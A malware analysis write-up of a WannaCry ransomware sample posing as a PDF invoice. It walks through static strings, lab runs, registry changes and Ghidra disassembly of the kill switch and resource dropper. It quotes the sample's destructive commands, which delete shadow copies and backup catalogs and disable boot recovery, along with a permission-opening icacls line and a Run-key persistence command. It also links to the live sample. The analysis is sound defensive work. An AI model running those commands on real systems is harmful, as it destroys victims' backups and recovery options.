WannaCry - invoice_greenanimals.pdf.exe
- Ransomware
- Ransomworm
- Worm
- Command and Control C2 Communication
- Command Execution via Powershell Cmd Bash
- File Encryption
- Persistence Mechanisms
- C++
File Info
File Name: invoice_greenanimals.pdf.exe
SHA256: 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c
MD5: db349b97c37d22f5ea1d1841e3c89eb4
Size: 3723264 bytes
Architecture: 32-bit
Compilation Time: Sat 20 Nov 2010 09:03:08 UTC
Sample Download: Download sample
Original Download URL: https://bazaar.abuse.ch/sample/24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c/
Executive Summary
A sample of the WannaCry ransomware was analyzed in a controlled environment. The malware exhibits typical traits of the WannaCry family, including encryption of user files, destruction of backups, and propagation via SMB once it detects that the kill-switch infrastructure is unreachable.
The executable lies dormant if it can resolve a specific hardcoded domain. Otherwise, it initiates file encryption, disables recovery options, and attempts to move laterally within the network using SMB-based exploitation.
Persistence is achieved through Windows service creation and registry modifications. While inactive under standard network conditions, its behavior changes significantly when isolated from the internet — highlighting its reliance on an external kill switch as a form of control flow.
Impact
- File loss through encryption
- Backup deletion via system tools
- Internal network scanning and spreading
- Stealth via service disguise and anti-debugging
Diagram
The following diagram summarizes the files that are extracted, generated, or loaded in memory:
Questions List
Below is a recap of all the questions raised during the analysis.
Basic Analysis
Basic Static Analysis
The very first thing to notice is the double extension .pdf.exe, which on most user systems where file extensions are hidden will appear only as .pdf. This already raises suspicions about the nature of the file.
Starting with FLOSS, it was first run with -n 12, and then without any length filtering. Checking the filtered list first allows a quicker review of what is returned before proceeding to a more fine-grained review.
The first few lines of FLOSS already show some of the potential capabilities that the sample might use to avoid debugging, as both these system calls are used to track how much time it takes to go from two different lines of code. Usually they are followed by a jump to exit if the time is higher than a threshold.
GetTickCountQueryPerformanceCounterThe following are used to load a resource from within the program itself. A resource is usually a DLL or another EXE/script that is extracted from within the original sample and often executed. A more in-depth explanation can be found in the Learn section 1.
SizeofResourceLockResourceLoadResourceFindResourceAThese are used to create a service:
StartServiceACloseServiceHandleCreateServiceAOpenSCManagerASetServiceStatusAnd to get something from the internet:
InternetCloseHandleInternetOpenUrlAInternetOpenAThese might be the names of the resources extracted:
launcher.dllmssecsvc.exeSometimes when there are identifiers like %s or %d in a line, it might be that the next line is what fills that identifier (%s for strings and %d for digits like IP addresses). So in the case below it might be that the final string is going to be C:\WINDOWS\mssecsvc.exe.
C:\%s\%sWINDOWSmssecsvc.exeAnother anti-debugging technique:
IsDebuggerPresentA suspicious path that should be kept in mind for the dynamic analysis:
C:\%s\qeriuwjhrfAnother suspicious executable name followed by CreateProcessA, which is used for starting executables.
tasksche.exeCreateProcessAA very suspicious domain:
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comSyscalls that allow the executable to write to the registry:
RegQueryValueExARegSetValueExARegCreateKeyWAnd to encrypt data:
CryptDecryptCryptEncryptCryptDestroyKeyCryptImportKeyCryptAcquireContextAIn the next four lines there are two interesting strings, the first and last, and two Windows built-in commands: icacls 2 , which allows changing access levels on files and attrib 3 , which with +h sets the file as hidden.
t.wnryicacls . /grant Everyone:F /T /C /Qattrib +h .WNcry@2ol7The following are not necessarily dangerous but are a potential hint that some information might be translated:
msg/m_bulgarian.wnrymsg/m_chinese (simplified).wnrymsg/m_chinese (traditional).wnrymsg/m_croatian.wnrymsg/m_czech.wnrynmsg/m_danish.wnryoCloser to the end there are two internal IP addresses with \IPC$ at the end, which stands for Interprocess Communication 4 and is used for data sharing between applications.
Windows 2000 2195Windows 2000 5.0\172.16.99.5\IPC$Windows 2000 2195Windows 2000 5.0\192.168.56.20\IPC$diskpart.exeLastly, there is a WanaCrypt0r string that hints that the sample could be a WannaCry sample, followed by a list of extensions which are probably the file types targeted for the encryption process.
WanaCrypt0rSoftware\.der.pfx.key.crt.csr.p12.pem.odt.ottSee Appendix A for the whole list of file extensions used.
Loading the sample in pestudio reveals a few details.
On the landing page of pestudio, the names → versions → original-file-name is set to lhdfrgui.exe and the file → description is Microsoft® Disk Defragmenter, which are both legitimate values for the Windows “Defragment and Optimize Drives” utility. It is also interesting to compare the real lhdfrgui.exe file in C:\Windows\system32\lhdfrgui.exe (on the right side of the screenshot) with the sample from the pestudio version page and notice all the mirroring happening, which again increases suspicion about the sample, given that it was meant to be a PDF.
Also in the resources page there is indeed a resource entry as suspected by the resource-related entries in the FLOSS output. Note that the location starts from address 0x000320A4, which will be useful in a moment.
Moving to the sections page, which shows the different sections of the PE file, note the last column called .rsrc: it takes almost 95% of the size of the executable and at the very bottom you can see it starts from the same address found above. This means the resource will probably be extracted quite early in the program execution and will do all the heavy lifting, given that the vast majority of the code resides in that secondary file. The address helped confirm that the resource found in the resources page is the same analyzed in the sections page.
Also note that because of what has been mentioned above, it is very likely that most of the capabilities and Windows system calls observed so far are actually used and extracted by the resource code.
As a last step in the static analysis, capa was run to see if at a high level anything had been missed. In this case the results align with what has been found, but they might still be useful later on when going through the code with Ghidra.
┏━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓┃ ATT&CK Tactic ┃ ATT&CK Technique ┃┡━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩│ DEFENSE EVASION │ Obfuscated Files or Information::Indicator Removal from Tools [T1027.005] ││ DISCOVERY │ File and Directory Discovery [T1083] ││ │ System Information Discovery [T1082] ││ │ System Network Configuration Discovery [T1016] ││ EXECUTION │ Shared Modules [T1129] ││ │ System Services::Service Execution [T1569.002] ││ PERSISTENCE │ Create or Modify System Process::Windows Service [T1543.003] │└──────────────────────┴───────────────────────────────────────────────────────────────────────────┘┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓┃ MBC Objective ┃ MBC Behavior ┃┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩│ ANTI-BEHAVIORAL ANALYSIS │ Conditional Execution::Runs as Service [B0025.007] ││ │ Debugger Detection::Timing/Delay Check QueryPerformanceCounter [B0001.033] ││ ANTI-STATIC ANALYSIS │ Executable Code Obfuscation::Argument Obfuscation [B0032.020] ││ │ Executable Code Obfuscation::Stack Strings [B0032.017] ││ COMMAND AND CONTROL │ C2 Communication::Receive Data [B0030.002] ││ │ C2 Communication::Send Data [B0030.001] ││ COMMUNICATION │ HTTP Communication::Create Request [C0002.012] ││ │ HTTP Communication::Open URL [C0002.004] ││ │ Socket Communication::Connect Socket [C0001.004] ││ │ Socket Communication::Create TCP Socket [C0001.011] ││ │ Socket Communication::Create UDP Socket [C0001.010] ││ │ Socket Communication::Get Socket Status [C0001.012] ││ │ Socket Communication::Initialize Winsock Library [C0001.009] ││ │ Socket Communication::Receive Data [C0001.006] ││ │ Socket Communication::Send Data [C0001.007] ││ │ Socket Communication::Set Socket Config [C0001.001] ││ │ Socket Communication::TCP Client [C0001.008] ││ CRYPTOGRAPHY │ Generate Pseudo-random Sequence::Use API [C0021.003] ││ DATA │ Compression Library [C0060] ││ DISCOVERY │ Code Discovery::Inspect Section Memory Permissions [B0046.002] ││ │ File and Directory Discovery [E1083] ││ EXECUTION │ Install Additional Program [B0023] ││ FILE SYSTEM │ Move File [C0063] ││ │ Read File [C0051] ││ PROCESS │ Create Thread [C0038] ││ │ Terminate Process [C0018] ││ │ Terminate Thread [C0039] │└──────────────────────────┴────────────────────────────────────────────────────────────────────────────┘Basic Dynamic Analysis
Question 10 is probably something more for the code analysis section, but for the rest it is already possible to think about which tools need to be started before the analysis: Procmon for question 4 and parts of 5, 7, and 8; Wireshark and INetSim on the Linux machine for question 6. Question 5 can be easily answered post infection by looking at the services page in combination with Procmon data.
Before running the sample, a test.rtf file was created on the desktop to see if and when it gets encrypted. Notice that the .rtf extension is included in the potential extensions that might get encrypted in the “File format to encrypt” appendix.
The sample is first run as a standard user.
After running the sample, only the DNS query and an HTTP GET request can be seen. No file is created, no service is created, nothing is encrypted.
After running the sample as admin, the result is the same as above.
At this point it is needed to remove some of the tools, as they might be getting tracked by the sample and interrupt the execution. Stopping INetSim and running the .exe as admin, it actually started the encryption process.
In addition to encryption, the following activity is visible:
- Internal network discovery
- Communication attempts with unknown IP addresses
Once the connection with the domain fails, 445 (SMB) traffic to internal and external IP addresses starts showing up:
After an hour of letting Wireshark run there were around 3000 IP addresses used to attempt the connection.
Question 5: Which service is getting created?
Starting from the service: in Windows, services are just registry keys, so their details appear clearly in Regshot:
HKLM\SYSTEM\ControlSet001\Services\mssecsvc2.0\Type: 0x00000010HKLM\SYSTEM\ControlSet001\Services\mssecsvc2.0\Start: 0x00000002HKLM\SYSTEM\ControlSet001\Services\mssecsvc2.0\ErrorControl: 0x00000001HKLM\SYSTEM\ControlSet001\Services\mssecsvc2.0\ImagePath: "C:\Users\REM\Desktop\invoice_greenanimals.pdf.exe -m security"HKLM\SYSTEM\ControlSet001\Services\mssecsvc2.0\DisplayName: "Microsoft Security Center (2.0) Service"HKLM\SYSTEM\ControlSet001\Services\mssecsvc2.0\WOW64: 0x0000014CHKLM\SYSTEM\ControlSet001\Services\mssecsvc2.0\ObjectName: "LocalSystem"HKLM\SYSTEM\ControlSet001\Services\mssecsvc2.0\FailureActions: 00 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 14 00 00 00 01 00 00 00 60 EA 00 00HKLM\SYSTEM\ControlSet001\Services\pafhcsxxsfdrw600\Type: 0x00000010HKLM\SYSTEM\ControlSet001\Services\pafhcsxxsfdrw600\Start: 0x00000002HKLM\SYSTEM\ControlSet001\Services\pafhcsxxsfdrw600\ErrorControl: 0x00000001HKLM\SYSTEM\ControlSet001\Services\pafhcsxxsfdrw600\ImagePath: "cmd.exe /c "C:\ProgramData\pafhcsxxsfdrw600\tasksche.exe""HKLM\SYSTEM\ControlSet001\Services\pafhcsxxsfdrw600\DisplayName: "pafhcsxxsfdrw600"HKLM\SYSTEM\ControlSet001\Services\pafhcsxxsfdrw600\WOW64: 0x0000014CHKLM\SYSTEM\ControlSet001\Services\pafhcsxxsfdrw600\ObjectName: "LocalSystem"The services Microsoft Security Center (2.0) Service and pafhcsxxsfdrw600 are created, respectively executing the sample with parameter -m security and a new file C:\ProgramData\pafhcsxxsfdrw600\tasksche.exe.
Question 4: Where is the resource being dropped? And what is the SHA256 of the file? Is it launcher.dll?
Another relatively easy question to answer is question 4, which only requires to open the sample in pestudio and extract the resource. To do that, in the section Resources → [Right-click on the entry] → Instance → Dump to File. Save the dump. Opening the new file, it is possible to see that it is a .exe and it has an additional resource attached.
Loading the file with DetectItEasy shows that it is a password-protected zip: Zip(2.0)[encrypted,55.8%,36 files]. The password is not yet known, but if it is unzipped with a random password, some of the file names in the target directory become visible:
dump
- b.wnry
- c.wnry
- f.wnry
msg
- m_bulgarian.wnry
- m_chinese (simplified).wnry
- m_chinese (traditional).wnry
- m_croatian.wnry
- m_czech.wnry
- m_danish.wnry
- m_dutch.wnry
- m_english.wnry
- m_filipino.wnry
- m_finnish.wnry
- m_french.wnry
- m_german.wnry
- m_greek.wnry
- m_indonesian.wnry
- m_italian.wnry
- m_japanese.wnry
- m_korean.wnry
- m_latvian.wnry
- m_norwegian.wnry
- m_polish.wnry
- m_portuguese.wnry
- m_romanian.wnry
- m_russian.wnry
- m_slovak.wnry
- m_spanish.wnry
- m_swedish.wnry
- m_turkish.wnry
- m_vietnamese.wnry
- r.wnry
- s.wnry
- t.wnry
- taskdl.exe
- taskse.exe
- u.wnry
The content above matches with the path found above: %ProgramData%\pafhcsxxsfdrw600. This directory actually exists and contains quite a few files:
pafhcsxxsfdrw600
- 00000000.eky
- 00000000.pky
- 00000000.res
- @ Please_Read_Me@.txt
- @ WanaDecryptor@.exe
- @ WanaDecryptor@.exe.lnk
- b.wnry
- c.wnry
- f.wnry
msg
- m_bulgarian.wnry
- m_chinese (simplified).wnry
- m_chinese (traditional).wnry
- m_croatian.wnry
- m_czech.wnry
- m_danish.wnry
- m_dutch.wnry
- m_english.wnry
- m_filipino.wnry
- m_finnish.wnry
- m_french.wnry
- m_german.wnry
- m_greek.wnry
- m_indonesian.wnry
- m_italian.wnry
- m_japanese.wnry
- m_korean.wnry
- m_latvian.wnry
- m_norwegian.wnry
- m_polish.wnry
- m_portuguese.wnry
- m_romanian.wnry
- m_russian.wnry
- m_slovak.wnry
- m_spanish.wnry
- m_swedish.wnry
- m_turkish.wnry
- m_vietnamese.wnry
- r.wnry
- s.wnry
- t.wnry
TaskData
Data
Tor/
- …
Tor
- libeay32.dll
- libevent-2-0-5.dll
- libevent_core-2-0-5.dll
- libevent_extra-2-0-5.dll
- libgcc_s_sjlj-1.dll
- libssp-0.dll
- ssleay32.dll
- taskhsvc.exe
- tor.exe
- zlib1.dll
- taskdl.exe
- tasksche.exe
- taskse.exe
- u.wnry
Note that tasksche.exe is present here but not in the original zip.
One answer has been given, but two new questions come to mind.
Continuing with question 7, filtering for “Path contains qeriuwjhrf” or “CommandLine contains qeriuwjhrf” in Procmon has not returned any value. The Regshot results are also not showing it. So that will be postponed for the code analysis.
Moving on to question 8, this currently has the same answer as question 7. In Procmon, values for mssecsvc can be seen since one of the services created has that name; however, nothing directly related to mssecsvc.exe has been found yet.
Question 9: What registry keys are written?
For question 9, other than the service creation keys seen above, another key that has been added is:
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\pafhcsxxsfdrw600: ""C:\ProgramData\pafhcsxxsfdrw600\tasksche.exe""This can be found in the Regshot results, and it is used to execute C:\ProgramData\pafhcsxxsfdrw600\tasksche.exe at login.
With Procmon it is possible to understand which process created the registry key. This is a good practice to give accountability to which process actually executed what, in order to be precise with the analysis.
There is quite a lot going on. From the top, the first cmd.exe has been triggered to execute the command:
cmd.exe /c "C:\ProgramData\pafhcsxxsfdrw600\tasksche.exe"which starts the tasksche.exe process, which in turn runs all the utilities found previously in the FLOSS output:
attrib.exewith attribute+h .icaclswith attributes. /grant Everyone:F /T /C /Q- a few
cmdprocesses with arguments:C:\WINDOWS\system32\cmd.exe /c 122221764070810.batcmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietcmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pafhcsxxsfdrw600" /t REG_SZ /d "\"C:\ProgramData\pafhcsxxsfdrw600\tasksche.exe\"" /f
cscriptrunning with arguments//nologo m.vbs
Looking at the commands individually:
-
the
icalcscommand grants full control permissions to Everyone for the current folder and all its contents, quietly and recursively, without stopping for errors. -
the
vssadmincommand (cmd.exe /c vssadmin delete shadows /all /quiet) quietly deletes all Volume Shadow Copy backups on the system without prompting. -
the
wmic shadowcopy deletecommand removes all existing shadow copies using WMIC, in case thevssadmincommand fails. -
bcdedit /set {default} bootstatuspolicy ignoreallfailurestells Windows Boot Manager to ignore all startup and recovery failures for the default boot entry instead of showing repair prompts. -
bcdedit /set {default} recoveryenabled nodisables automatic Windows recovery for the default boot entry so the system will not trigger Startup Repair. -
wbadmin delete catalog -quietquietly deletes the Windows Backup catalog, wiping the record of all system-image and file-backup metadata stored by wbadmin.
Question 15: Since tasksche.exe is spawning taskse.exe and taskdl.exe, what are their responsibilities?
A quick analysis on them is feasible given they are relatively small in size. Starting with taskse.exe:
With pestudio, the landing page shows that it is a C++ executable that has been compiled on Tue Jul 14 00:12:07 2009 UTC. It has a very short list of imports:
GetTempPathWGetWindowsDirectoryWDeleteFileWFindCloseFindNextFileWFindFirstFileWSleepGetDriveTypeWGetLogicalDrivesGetModuleHandleAGetStartupInfoA
From these APIs, it appears that it will look for the %TEMP% directory (GetTempPathW 5 ), the C:\Windows directory (GetWindowsDirectoryW 6 ), attached drives (GetLogicalDrives 7 ), look through the files (FindFirstFileW 8 and FindNextFileW), and potentially delete them.
For example, in Procmon, filtering by “ProcessID equals 5500” shows some access to the CD drive, D drive, and the C:\Windows\Temp directory.
taskse.exe seems even more restricted in terms of activities:
WaitForSingleObjectGetProcAddressLoadLibraryAGetModuleHandleASleepGetStartupInfoA
The LoadLibrary 9 call is notable as it allows DLLs to be imported. However, with Procmon there is not much visible activity other than starting the @WanaDecryptor@.exe process.
Advanced Analysis
In this section the remaining questions are addressed, ideally without raising new ones. To recap, the open questions are:
Question 15: What is sent to all those IP addresses?
This question is relatively simple to answer from the capture that can be extracted in the current environment. The sample tries to contact multiple IP addresses, likely random, for an SMB open server. The connections are on TCP port 445, which is the standard port for SMB; however, since in the environment no hosts have SMB open and there is no connectivity with the outside, the packets are all SYN without a reply.
Question 6 and Question 10
Opening the sample with Ghidra, Windows → Defined Strings can be used to locate the URL. From there, searching the URL, clicking on the reference found, and following it lands in the .data area of the PE file that stores the URL.
Right click on the address of the reference (in this case 004313d0): References → Show References To Addresses. There will be 3 entries:
- The one marked as “DATA” is the reference just clicked on.
- The two other entries marked as “READ” are addresses where the URL is read.
In this case it is safe to double-click on any of the “READ” addresses; if you look at the “location” address, they are just one instruction apart, the first at 00408155 and the second at 00408157.
This reveals a list of assembly instructions like this:
Notice that the URL has been saved in a memory space using MOVSD and MOVSB, which are just string versions of MOV 10.
Also notice that just a few lines after the MOV of the URL, there is an InternetOpenUrlA call. To confirm which URL the CALL is using, Ghidra usually helps by showing the arguments of functions that it is able to identify, but in this case it is not. This can be improved by going to the “Data Type Manager” (usually on the left side of the window), clicking on winapi_32 → Apply Function Data Types. Once that is done, go to Analysis → One Shot → WindowsPE x86 Propagate External Parameters.
Now all the parameters should be clearly named.
Before proceeding, looking at the Microsoft documentation 11 the parameters used are:
HINTERNET InternetOpenUrlA( [in] HINTERNET hInternet, [in] LPCSTR lpszUrl, [in] LPCSTR lpszHeaders, [in] DWORD dwHeadersLength, [in] DWORD dwFlags, [in] DWORD_PTR dwContext);The function “returns a valid handle to the URL if the connection is successfully established, or NULL if the connection fails.”
The first two parameters are those of most interest. The first one, hInternet, is a handle provided by InternetOpenA, which is called a couple of lines before InternetOpenUrlA. The second parameter of interest is lpszUrl, which is the actual URL. From here, it is useful to go backwards: look at which register contains the lpszUrl content, and see how it gets initialized.
This is the full function code up to the call under investigation:
******************************************************* * FUNCTION * ******************************************************* undefined FUN_00408140() assume FS_OFFSET = 0xffdff000 undefined AL:1 <RETURN> undefined1 Stack[-0x1] local_1 XREF[1]: 00408177(W) undefined2 Stack[-0x3] local_3 XREF[1]: 0040816c(W) undefined4 Stack[-0x7] local_7 XREF[1]: 00408168(W) undefined4 Stack[-0xb] local_b XREF[1]: 00408164(W) undefined4 Stack[-0xf] local_f XREF[1]: 00408160(W) undefined4 Stack[-0x13 local_13 XREF[1]: 0040815c(W) undefined4 Stack[-0x17 local_17 XREF[1]: 00408158(W) undefined1 Stack[-0x50 local_50 XREF[2]: 0040814f(*), 0040818a(*) FUN_00408140 XREF[1]: entry:00409b45(c)00408140 SUB ESP, 0x5000408143 PUSH ESI00408144 PUSH EDI ; HINTERNET hInternet for InternetCloseHandle00408145 MOV ECX, 0xe0040814a MOV ESI, s_http://www.iuqerfsodp9ifjaposdfj_004313 ; = ; "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergw ; ea.com"0040814f LEA EDI=>local_50, [ESP + 0x8]00408153 XOR EAX, EAX00408155 MOVSD. ES:EDI, ESI=>s_http://www.iuqerfsodp9ifjaposdf ; = ; "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergw ; ea.com"00408157 MOVSB ES:EDI, ESI=>s_http://www.iuqerfsodp9ifjaposdf ; = ; "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergw ; ea.com"00408158 MOV dword ptr [ESP + local_17], EAX0040815c MOV dword ptr [ESP + local_13], EAX00408160 MOV dword ptr [ESP + local_f], EAX00408164 MOV dword ptr [ESP + local_b], EAX00408168 MOV dword ptr [ESP + local_7], EAX0040816c MOV word ptr [ESP + local_3], AX00408171 PUSH EAX ; DWORD dwFlags for InternetOpenA00408172 PUSH EAX ; LPCSTR lpszProxyBypass for InternetOpenA00408173 PUSH EAX ; LPCSTR lpszProxy for InternetOpenA00408174 PUSH 0x1 ; DWORD dwAccessType for InternetOpenA00408176 PUSH EAX ; LPCSTR lpszAgent for InternetOpenA00408177 MOV byte ptr [ESP + local_1], AL0040817b CALL dword ptr [->WININET.DLL::InternetOpenA] ; = 0000a7dc00408181 PUSH 0x0 ; DWORD_PTR dwContext for InternetOpenUrlA00408183 PUSH 0x84000000 ; DWORD dwFlags for InternetOpenUrlA00408188 PUSH 0x0 ; DWORD dwHeadersLength for InternetOpenUrlA0040818a LEA ECX=>local_50, [ESP + 0x14]0040818e MOV ESI, EAX00408190 PUSH 0x0 ; LPCSTR lpszHeaders for InternetOpenUrlA00408192 PUSH ECX ; LPCSTR lpszUrl for InternetOpenUrlA00408193 PUSH ESI ; HINTERNET hInternet for InternetOpenUrlA00408194 CALL dword ptr [->WININET.DLL::InternetOpenUrlA] ; = 0000a7c80040819a MOV EDI, EAXlpszUrl is contained in ECX. At line 0040818a ECX is loaded with the address of local_50. Tracing local_50 back shows that ESI is first initialized with the URL string at 0040814a, and that string is then copied into the buffer pointed to by EDI (local_50) via MOVSD and MOVSB at 00408155 and 00408157.
0040814a MOV ESI, s_http://www.iuqerfsodp9ifjaposdfj_004313 ; = ; "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com"0040814f LEA EDI=>local_50, [ESP + 0x8]00408155 MOVSD. ES:EDI, ESI=>s_http://www.iuqerfsodp9ifjaposdf ; = ; "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com"This shows how local_50 is populated and then used by InternetOpenUrlA as the URL parameter.
After the InternetOpenUrlA call, to understand what is done with the return value, the surrounding code is followed, focusing on the highlighted lines:
00408194 CALL dword ptr [->WININET.DLL::InternetOpenUrlA] ; = 0000a7c80040819a MOV EDI, EAX0040819c PUSH ESI ; HINTERNET hInternet for InternetCloseHandle0040819d MOV ESI, dword ptr [->WININET.DLL::InternetCloseHandle] ; = 0000a7b2004081a3 TEST EDI, EDI004081a5 JNZ LAB_004081bc004081a7 CALL ESI=>WININET.DLL::InternetCloseHandle004081a9 PUSH 0x0 ; HINTERNET hInternet for InternetCloseHandle004081ab CALL ESI=>WININET.DLL::InternetCloseHandle004081ad CALL FUN_00408090 ; undefined FUN_00408090()004081b2 POP EDI004081b3 XOR EAX, EAX004081b5 POP ESI004081b6 ADD ESP, 0x50004081b9 RET 0x10 ;004081bc is below hereThe return value of InternetOpenUrlA is in EAX, which is immediately moved into EDI and then tested. Since TEST is an implied AND instruction (it does not change the value of EDI but just computes EDI AND EDI and sets flags), the JNZ is used to check the zero flag set by TEST EDI, EDI, meaning:
- If the connection was successful →
EDIis not zero →TEST EDI, EDIsets ZF to0→ jump toLAB_004081bc. - If the connection was not successful →
EDIis zero →TEST EDI, EDIsets ZF to1→ execution continues to004081a7andFUN_00408090is executed.
When the connection is successful, the code at LAB_004081bc is straightforward: a call to InternetCloseHandle and end of the function.
LAB_004081bc XREF[1]: 004081a5(j)004081bc CALL ESI=>WININET.DLL::InternetCloseHandle004081be PUSH EDI ; HINTERNET hInternet for InternetCloseHandle004081bf CALL ESI=>WININET.DLL::InternetCloseHandle004081c1 POP EDI004081c2 XOR EAX, EAX004081c4 POP ESI004081c5 ADD ESP, 0x50004081c8 RET 0x10To see where it returns, Window → Function Call Tree shows the Incoming Calls menu containing entry. Double-clicking it shows the code that calls the function under examination, from the entry function. This shows that if the connection is successful, the program is terminated by calling MSVCRT.DLL::exit.
00409b45 CALL FUN_00408140 ; undefined FUN_00408140()00409b4a MOV dword ptr [EBP + local_6c], EAX00409b4d PUSH EAX ; int _Code for exit00409b4e CALL dword ptr [->MSVCRT.DLL::exit] ; = 0000a8c2If the connection fails, FUN_00408090 is executed. Looking briefly at this function shows calls to OpenSCManagerA, OpenServiceA, etc., implying that the rest of the program is executed.
This shows that the URL is actually used as a kill switch: if there is a connection to the URL, the program is terminated. The sample can be stopped from fully executing by simply allowing it to resolve the domain name.
Question 7: What is C:\%s\qeriuwjhrf?
Using the same approach as before, searching for the qeriuw string in the Defined Strings window and going to the single address where the string is used, the relevant code is:
00407e06 LEA ECX=>local_104, [ESP + 0x16c] 00407e0d PUSH s_WINDOWS_00431364 ; = "WINDOWS" 00407e12 PUSH s_C:\%s\qeriuwjhrf_00431344 ; char * _Format for sprintf 00407e17 PUSH ECX ; char * _Dest for sprintf 00407e18 CALL ESI=>MSVCRT.DLL::sprintf 00407e1a ADD ESP, 0xc 00407e1d LEA EDX=>local_104, [ESP + 0x16c] 00407e24 LEA EAX=>local_208, [ESP + 0x68] 00407e28 PUSH 0x1 ; DWORD dwFlags for MoveFileExA 00407e2a PUSH EDX ; LPCSTR lpNewFileName for MoveFileExA 00407e2b PUSH EAX ; LPCSTR lpExistingFileName for MoveFileExA 00407e2c CALL dword ptr [->KERNEL32.DLL::MoveFileExA] ; = 0000a576The string is pushed on the stack and sprintf is called. From the Microsoft documentation 12, sprintf is used to “write formatted data to a string” and has the following signature:
int sprintf( char *buffer, const char *format [, argument] ...);In this case, the destination where the string is saved is ECX (identified by _Dest, and being the last PUSH before the CALL). Note that ECX contains the address of local_104, as shown by the first instruction in the code snippet.
The string written is C:\Windows\qeriuwjhrf, where Windows is taken from the first PUSH and the rest of the string is from the _Format.
So at this point local_104/ECX contains the Windows path. The next step is to see how it is used.
At instruction 00407e1d, the address of local_104 is moved to EDX, which is then pushed to the stack at 00407e2a and recognized by Ghidra as the target of the MoveFileExA function. The original file is in EAX, which, looking back (00407e24), is retrieved from local_208.
Just before the snippet under discussion, there is the same exact pattern where sprintf is called with local_208 as target:
00407dea PUSH s_tasksche.exe_0043136c ; = "tasksche.exe"00407def STOSW ES:EDI00407df1 STOSB ES:EDI00407df2 PUSH s_WINDOWS_00431364 ; = "WINDOWS"00407df7 LEA EAX=>local_208, [ESP + 0x70]00407dfb PUSH s_C:\%s\%s_00431358 ; char * _Format for sprintf00407e00 PUSH EAX ; char * _Dest for sprintf00407e01 CALL ESI=>MSVCRT.DLL::sprintfThe result is that sprintf is called to save in local_208 the string C:\Windows\tasksche.exe, which is already known from earlier observations.
The reason why C:\Windows\qeriuwjhrf was not found on the system is due to the 1 value (MOVEFILE_REPLACE_EXISTING) of the dwFlags set at instruction 00407e28. This only replaces the file if the destination file exists already.
Other Open Questions
At this point, looking at the other questions, they cannot be directly answered without doing further research in the code and running the sample through a debugger.
A useful process in this situation is to understand more about the code blocks and rename functions based on what they do; this helps clarify the code structure. While looking at the code, it is also useful to identify potential good places for breakpoints in the debugger. Currently it is not obvious which question will be answered first, so the focus is on:
- how
launcher.dllmight be loaded - how the resource is loaded and decrypted
- whether there is anything related to the IP connections
Functions are therefore renamed based on their purpose:
FUN_00407c40→service_creationFUN_00408090→service_openFUN_00408140→kill_switch_checkFUN_00407ce0→resource_extraction_c_windows
Question 12: What is the password to decrypt the zip file?
One idea at this stage is to run the sample in x32dbg until tasksche.exe is written to disk. Looking at resource_extraction_c_windows, the resource is loaded and then the file is written. The DAT_xxxxx variables have been renamed into PTR_<ApiCall> based on the syscall that created them. For example, the CreateProcessA string is pushed on the stack, GetProcAddress is called, and the resulting pointer, saved in EAX, is moved to a variable that is then renamed PTR_CreateProcess.
00407d07 PUSH s_CreateProcessA_004313a4 ; LPCSTR lpProcName for GetProcAddress00407d0c PUSH ESI ; HMODULE hModule for GetProcAddress00407d0d CALL EDI=>KERNEL32.DLL::GetProcAddress00407d0f PUSH s_CreateFileA_00431398 ; LPCSTR lpProcName for GetProcAddress00407d14 PUSH ESI ; HMODULE hModule for GetProcAddress00407d15 MOV [PTR_CreateProcess], EAX ; = 00000000The full list of CALLs in the function is:
00407cef CALL dword ptr [->KERNEL32.DLL::GetModuleHandleW] ; = 0000a5d800407d0d CALL EDI=>KERNEL32.DLL::GetProcAddress00407d1a CALL EDI=>KERNEL32.DLL::GetProcAddress00407d27 CALL EDI=>KERNEL32.DLL::GetProcAddress00407d34 CALL EDI=>KERNEL32.DLL::GetProcAddress00407d74 CALL dword ptr [->KERNEL32.DLL::FindResourceA] ; = 0000a5b600407d86 CALL dword ptr [->KERNEL32.DLL::LoadResource] ; = 0000a5a600407d95 CALL dword ptr [->KERNEL32.DLL::LockResource] ; = 0000a59600407da9 CALL dword ptr [->KERNEL32.DLL::SizeofResource] ; = 0000a58400407e01 CALL ESI=>MSVCRT.DLL::sprintf00407e18 CALL ESI=>MSVCRT.DLL::sprintf00407e2c CALL dword ptr [->KERNEL32.DLL::MoveFileExA] ; = 0000a57600407e43 CALL dword ptr [PTR_CreateFile] ; = 0000000000407e61 CALL dword ptr [PTR_WriteFile] ; = 0000000000407e68 CALL dword ptr [PTR_CloseHandle] ; = 0000000000407ee8 CALL dword ptr [PTR_CreateProcess] ; = 0000000000407ef7 CALL dword ptr [PTR_CloseHandle] ; = 0000000000407f02 CALL dword ptr [PTR_CloseHandle] ; = 00000000So the MoveFileExA is the same code that has been discussed in question 7. The interesting part now is what happens before and after. Before that, the code follows a common pattern to extract resources from within the sample (see the Learn section Load Resources).
